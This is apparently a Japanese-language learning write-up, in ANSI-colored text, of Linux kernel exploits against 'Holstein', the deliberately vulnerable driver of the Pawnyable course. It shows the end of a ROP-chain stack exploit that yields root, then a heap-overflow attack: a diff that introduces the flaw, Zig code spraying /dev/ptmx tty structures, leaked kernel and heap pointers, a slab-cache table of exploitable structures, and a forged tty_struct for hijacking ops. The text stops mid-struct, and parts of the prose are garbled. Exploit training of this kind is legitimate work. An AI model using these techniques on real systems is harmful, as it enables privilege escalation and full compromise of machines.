[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mlog[0m[1m[37m.[0m[37minfo[0m[1m[37m([0m[33m"Kernel base: 0x{s}"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfmt[0m[1m[37m.[0m[37mbytesToHex[0m[1m[37m([0m[37mbigEndianify[0m[1m[37m([0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mkernel_base[0m[1m[37m)),[0m[1m[37m [0m[1m[37m.[0m[1m[37mlower[0m[1m[37m)});[0m[1m[37m[0m
[1m[37m [0m[37madjust_offsets[0m[1m[37m([0m[1m[37mkernel_base[0m[1m[36m-[0m[1m[36m0xffffffff81000000[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[37mropchain[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33munreachable[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37mwhoami[0m
[1m[37m./exploit[0m
[1m[37mwhoami: unknown uid 1337[0m
[1m[37m[INFO] Kernel base: 0xffffffff81000000[0m
[1m[37m[INFO] You won!![0m
[1m[37mroot[0m
DIR 完全なエクスプロイト
何故かよく分からないが、[40m[35m`ret2win`[39m[49mをジャンプした後で[40m`SIGSEGV`
[49mを受け取ってしまった。
[40m[35m`swapgs_restore_regs_and_return_to_usermode`[39m[49mはこ
の状況を避けるはずだったが、易きに付くことをしまし、そして[40m[35m`sigaction`[39m[49mでまた
[40m[35m`ret2win`[39m[49m呼んでいた。
=== [1m[4mv2: Heap Overflow[22m[24m
[1m[37m10c10[0m
[1m[37m< MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");[0m
[1m[37m---[0m
[1m[37m> MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");[0m
[1m[37m31,32c31,32[0m
[1m[37m< char __user *buf, size_t count,[0m
[1m[37m< loff_t *f_pos)[0m
[1m[37m---[0m
[1m[37m> char __user *buf, size_t count,[0m
[1m[37m> loff_t *f_pos)[0m
[1m[37m34,35d33[0m
[1m[37m< char kbuf[BUFFER_SIZE] = { 0 };[0m
[1m[37m<[0m
[1m[37m38,39c36[0m
[1m[37m< memcpy(kbuf, g_buf, BUFFER_SIZE);[0m
[1m[37m< if (_copy_to_user(buf, kbuf, count)) {[0m
[1m[37m---[0m
[1m[37m> if (copy_to_user(buf, g_buf, count)) {[0m
[1m[37m51,52d47[0m
[1m[37m< char kbuf[BUFFER_SIZE] = { 0 };[0m
[1m[37m<[0m
[1m[37m55c50[0m
[1m[37m< if (_copy_from_user(kbuf, buf, count)) {[0m
[1m[37m---[0m
[1m[37m> if (copy_from_user(g_buf, buf, count)) {[0m
[1m[37m59d53[0m
[1m[37m< memcpy(g_buf, kbuf, BUFFER_SIZE);[0m
今回はヒープ攻撃。
スタック上でのデータをリークしたり、リターンアドレスを書き換えたりすることはできない。
だが問題ない⸺カーネル構造体をきちんと上書きすれば、権限昇格ができる。
ヒープオーバーフローが[40m[35m`g_buf`[39m[49mの後ろに書き込むができるが、どうやって構造体を必ず直後
に隣り合うように配置できる?
ヒープスプレーを使えば簡単だ。複数の構造体を確保すると、[40m[35m`g_buf`[39m[49mにあるスラブは構造体
を配置する、結果的に[40m[35m`g_buf`[39m[49mの直後に構造体がある可能性が高い。
[33mfn[0m[1m[37m [0m[37mspray[0m[1m[37m([0m[1m[37mfds[0m[1m[36m:[0m[1m[37m [0m[1m[37m[][0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mfor[0m[1m[37m [0m[1m[37m([0m[1m[36m0[0m[1m[37m..[0m[1m[37mfds[0m[1m[37m.[0m[1m[37mlen[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37mi[0m[1m[36m|[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mfds[0m[1m[37m[[0m[1m[37mi[0m[1m[37m][0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mopen[0m[1m[37m([0m[33m"/dev/ptmx"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37m [0m[1m[37m.[0m[1m[37mACCMODE[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.[0m[1m[37mRDONLY[0m[1m[37m,[0m[1m[37m [0m[1m[37m.[0m[1m[37mNOCTTY[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mtrue[0m[1m[37m [0m[1m[37m},[0m[1m[37m [0m[1m[36m0o660[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
SLUB(カーネルのヒープ確保ルーチン)はslab確保ルーチンなので、同じくらいサイズの構造体を同じslabに配置する。
なので、約[40m`0x400`[49mバイトの構造体は必要。
Table 1:[24m
SLUBの様々のサイズ帯pwnに使えるカーネル構造体 (出典 [2])
| Generic Cache | Object
|
|---------------|--------------------------------------------------
| kmalloc-8 | pci[3mfilp[23mprivate signalfd_ctx
|
| kmalloc-16 | afs[3mfile aa[23mrevision
|
| kmalloc-32 | vmci[3mhost[23mdev seq[3moperations (cg cache)
coda[23mfile[3minfo shm[23mfile_data |
| kmalloc-64 | snd[3minfo[23mprivate[3mdata snd[23mctl_file
|
| kmalloc-96 | subprocess[3minfo watch[23mqueue vfio_container
|
| kmalloc-128 | dlm[3muser[23mproc
|
| kmalloc-192 | loopback[3mpcm snd[23mtimer[3muser
pp[23mstruct |
| kmalloc-256 | vhci[3mdata snd[23mcompr[3mfile msg[23mqueue
(cg cache) |
| kmalloc-512 | tls[3mcontext mousedev[23mclient
([40m`input`[49m group) |
| kmalloc-1024 | pipe[3mbuffer tty[23mstruct sock xfrm[3mpolicy
nouveau[23mcli |
| kmalloc-2048 | super[3mblock perf[23mevent (SELinux disabled)
|
| kmalloc-4096 | net_device
|
[40m[35m`tty_struct`[39m[49m[^fn:2],
[^fn:3]は特に便利だね;[40m[35m`const struct tty_operations *ops`[39m[
49mを制御できれば、そのttyで[40m[35m`koioctl`[39m[49m[^fn:4]を呼び出すでき、ACE
(Arbitrary Code Execution)ができる。
また、ヒープのアドレスをリークすることができる。
後は2種類のリクが必要:カーネルアドレス(ROP gadgetのアドレスを計算為)とヒープアドレス(悪用の[40m`struct
tty_operations *ops`[49m[24mのアドレスを分かり為)。
[33mconst[0m[1m[37m [0m[1m[37mstd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m@import[0m[1m[37m([0m[33m"std"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[36m<<[0m[1m[37mheap[0m[1m[36m-[0m[1m[37mspray[0m[1m[36m>>[0m[1m[37m[0m
[1m[37m[0m
[33mpub[0m[1m[37m [0m[33mfn[0m[1m[37m [0m[37mmain[0m[1m[37m()[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mttys[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m100[0m[1m[37m][0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mdefer[0m[1m[37m [0m[33mfor[0m[1m[37m [0m[1m[37m([0m[1m[37mttys[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37mtty[0m[1m[36m|[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mclose[0m[1m[37m([0m[1m[37mtty[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[37mspray[0m[1m[37m([0m[1m[37mttys[0m[1m[37m[[0m[1m[36m0[0m[1m[37m..[0m[1m[36m50[0m[1m[37m]);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mopen[0m[1m[37m([0m[33m"/dev/holstein"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37m [0m[1m[37m.[0m[1m[37mACCMODE[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.[0m[1m[37mRDWR[0m[1m[37m [0m[1m[37m},[0m[1m[37m [0m[1m[36m0o660[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mdefer[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mclose[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[37mspray[0m[1m[37m([0m[1m[37mttys[0m[1m[37m[[0m[1m[36m50[0m[1m[37m..]);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m0x400[0m[1m[36m+[0m[1m[36m0x100[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu8[0m[1m[37m{[0m[33m'A'[0m[1m[37m}[0m[1m[36m**[0m[1m[36m0x400[0m[1m[37m [0m[1m[36m++[0m[1m[37m [0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu8[0m[1m[37m{[0m[1m[36m0[0m[1m[37m}[0m[1m[36m**[0m[1m[36m0x100[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mbytes_read[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mdumpHex[0m[1m[37m([0m[1m[37mbuf[0m[1m[37m[[0m[1m[36m0x400[0m[1m[37m..[0m[1m[37mbytes_read[0m[1m[37m]);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m00007ffed91dc3f8[0m[1m[37m [0m[1m[36m01[0m[1m[37m [0m[1m[36m54[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m01[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[33m.T..............[0m[1m[37m[0m
[1m[37m00007ffed91dc408[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m50[0m[1m[37m [0m[1m[36mD3[0m[1m[37m [0m[1m[36m02[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mC3[0m[1m[37m [0m[1m[36m81[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[33m.P..............[0m[1m[37m[0m
[1m[37m00007ffed91dc418[0m[1m[37m [0m[1m[36m32[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[33m2...............[0m[1m[37m[0m
[1m[37m00007ffed91dc428[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m38[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[33m........8X␍.....[0m[1m[37m[0m
[1m[37m00007ffed91dc438[0m[1m[37m [0m[1m[36m38[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36m48[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[33m8X␍.....HX␍.....[0m[1m[37m[0m
[1m[37m00007ffed91dc448[0m[1m[37m [0m[1m[36m48[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36m70[0m[1m[37m [0m[1m[36m7D[0m[1m[37m [0m[1m[36m73[0m[1m[37m [0m[1m[36m02[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[33mHX␍.....p}s.....[0m[1m[37m[0m
[1m[37m00007ffed91dc458[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[33m................[0m[1m[37m[0m
[1m[37m00007ffed91dc468[0m[1m[37m [0m[1m[36m70[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36m70[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[33mpX␍.....pX␍.....[0m[1m[37m[0m
[1m[37m00007ffed91dc478[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[33m................[0m[1m[37m[0m
[1m[37m00007ffed91dc488[0m[1m[37m [0m[1m[36m90[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36m90[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[33m.X␍......X␍.....[0m[1m[37m[0m
[1m[37m00007ffed91dc498[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[33m................[0m[1m[37m[0m
[1m[37m00007ffed91dc4a8[0m[1m[37m [0m[1m[36mB0[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mB0[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[33m.X␍......X␍.....[0m[1m[37m[0m
[1m[37m00007ffed91dc4b8[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[33m................[0m[1m[37m[0m
[1m[37m00007ffed91dc4c8[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36mD8[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[33m.........X␍.....[0m[1m[37m[0m
[1m[37m00007ffed91dc4d8[0m[1m[37m [0m[1m[36mD8[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[33m.X␍.............[0m[1m[37m[0m
[1m[37m00007ffed91dc4e8[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36m00[0m[1m[37m [0m[1m[36mF8[0m[1m[37m [0m[1m[36m58[0m[1m[37m [0m[1m[36m0D[0m[1m[37m [0m[1m[36m03[0m[1m[37m [0m[1m[36m80[0m[1m[37m [0m[1m[36m88[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[1m[36mFF[0m[1m[37m [0m[33m.........X␍.....[0m[1m[37m[0m
なんと、[40m[35m`tty_struct`[39m[49mには両方のリクがある!
確かに便利ね。
通常の[40m[35m`tty_struct`[39m[49mなら[40m[35m`ops`[39m[49mの
値はptmx_fops [3]のアドレス(このvmlinuxでは[40m`0xffffffff81c38880`[49m)、そ
して[40m[35m`ldisc_sem.read_wait`[39m[49mの値は[40m[35m`tty_str
uct`[39m[49mのアドレス.
[33m// as of 5.10.7[0m
[33mconst[0m[1m[37m [0m[1m[37mtty_struct[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mextern[0m[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mld_semaphore[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mextern[0m[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mlist_head[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mextern[0m[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mnext[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xdeadbeefdeadbeef[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mprev[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xcafebabecafebabe[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mcount[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mwait_lock[0m[1m[36m:[0m[1m[37m [0m[1m[36mi32[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mwait_readers[0m[1m[36m:[0m[1m[37m [0m[1m[36mi32[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mread_wait[0m[1m[36m:[0m[1m[37m [0m[1m[37mlist_head[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.{},[0m[1m[37m[0m
[1m[37m [0m[1m[37mwrite_wait[0m[1m[36m:[0m[1m[37m [0m[1m[37mlist_head[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.{},[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mmagic[0m[1m[36m:[0m[1m[37m [0m[1m[36mi32[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0x5401[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mkref[0m[1m[36m:[0m[1m[37m [0m[1m[36mi32[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mdev[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mdriver[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m,[0m[1m[37m [0m[33m// must be a valid heap address[0m
[1m[37m [0m[1m[37mops[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mindex[0m[1m[36m:[0m[1m[37m [0m[1m[36mi32[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mldisc_sem[0m[1m[36m:[0m[1m[37m [0m[1m[37mld_semaphore[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.{},[0m[1m[37m[0m
[1m[37m [0m[33m// don't care about the rest[0m
[1m[37m[0m
[1m[37m [0m[33mpub[0m[1m[37m [0m[33mfn[0m[1m[37m [0m[37minit[0m[1m[37m([0m[1m[37mops_table[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m)[0m[1m[37m [0m[1m[37mtty_struct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33m// ops_table must live on the heap[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37m.{[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mdriver[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mops_table[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mops[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mops_table[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mldisc_sem[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.{[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mread_wait[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.{[0m[1m[37m [0m[1m[37m.[0m[1m[37mnext[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mops_table[0m[1m[37m,[0m[1m[37m [0m[1m[37m.[0m[1m[37mprev[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mops_table[0m[1m[37m [0m[1m[37m},[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mwrite_wait[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.{[0m[1m[37m [0m[1m[37m.[0m[1m[37mnext[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mops_table[0m[1m[37m,[0m[1m[37m [0m[1m[37m.[0m[1m[37mprev[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mops_table[0m[1m[37m [0m[1m[37m},[0m[1m[37m[0m
[1m[37m [0m[1m[37m},[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mtty_operations[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mextern[0m[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mlookup[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37minstall[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mremove[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
